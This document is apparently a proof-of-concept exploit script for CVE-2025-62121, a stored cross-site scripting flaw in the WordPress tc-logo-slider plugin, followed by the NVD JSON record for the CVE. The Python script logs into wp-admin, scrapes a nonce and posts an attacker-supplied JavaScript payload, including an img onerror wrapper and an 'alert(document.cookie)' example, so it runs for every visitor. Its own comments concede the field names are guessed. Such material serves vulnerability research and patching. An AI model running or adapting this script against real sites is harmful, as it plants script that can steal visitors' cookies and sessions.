CVE-2025-62121

import requests import sys # CVE-2025-62121 PoC - Stored XSS in tc-logo-slider plugin # Target: WordPress site with tc-logo-slider <= 1.8.1 # Author: Security Researcher def exploit_stored_xss(target_url, username, password, xss_payload): """ Exploit the stored XSS vulnerability in tc-logo-slider plugin. This PoC demonstrates how an authenticated attacker can inject malicious JavaScript code through the logo slider settings. Args: target_url: Base URL of the WordPress site username: WordPress admin username password: WordPress admin password xss_payload: Malicious JavaScript payload to inject """ session = requests.Session() login_url = f"{target_url}/wp-login.php" # Step 1: Login to WordPress admin login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Navigate to tc-logo-slider settings settings_url = f"{target_url}/wp-admin/admin.php?page=tc-logo-slider" response = session.get(settings_url) # Step 3: Inject XSS payload through logo name/description field # The exact parameter name may vary - typically 'logo_name' or 'tc_logo_title' xss_data = { 'action': 'tc_save_logo', 'logo_name': xss_payload, 'logo_url': 'https://example.com/logo.png', 'tc_logo_description': f'<img src=x onerror="{xss_payload}">' } # Adjust the nonce value from the settings page nonce_pattern = r'_wpnonce=([a-f0-9]+)' import re nonce_match = re.search(nonce_pattern, response.text) if nonce_match: xss_data['_wpnonce'] = nonce_match.group(1) # Step 4: Submit the XSS payload submit_url = f"{target_url}/wp-admin/admin-ajax.php" response = session.post(submit_url, data=xss_data) if response.status_code == 200: print(f"[+] XSS payload sent: {xss_payload}") print("[+] Payload stored in database") print("[+] Any user viewing the logo slider will trigger the XSS") return True print("[-] Failed to inject payload") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-62121.py <target_url> <username> <password> <xss_payload>") print("Example: python cve-2025-62121.py http://target.com admin admin 'alert(document.cookie)'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit_stored_xss(target, user, pwd, payload)

{"cve": {"id": "CVE-2025-62121", "sourceIdentifier": "[email protected]", "published": "2025-12-31T14:15:52.810", "lastModified": "2026-04-23T15:34:34.863", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Imran Emu Logo Slider , Logo Carousel , Logo showcase , Client Logo tc-logo-slider allows Stored XSS.This issue affects Logo Slider , Logo Carousel , Logo showcase , Client Logo: from n/a through <= 1.8.1."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en Imran Emu Logo Slider, Logo Carousel, Logo showcase, Cliente Logo permite XSS Almacenado. Este problema afecta a Logo Slider, Logo Carousel, Logo showcase, Cliente Logo: desde n/a hasta 1.8.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/tc-logo-slider/vulnerability/wordpress-logo-slider-logo-carousel-logo-showcase-client-logo-plugin-1-8-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}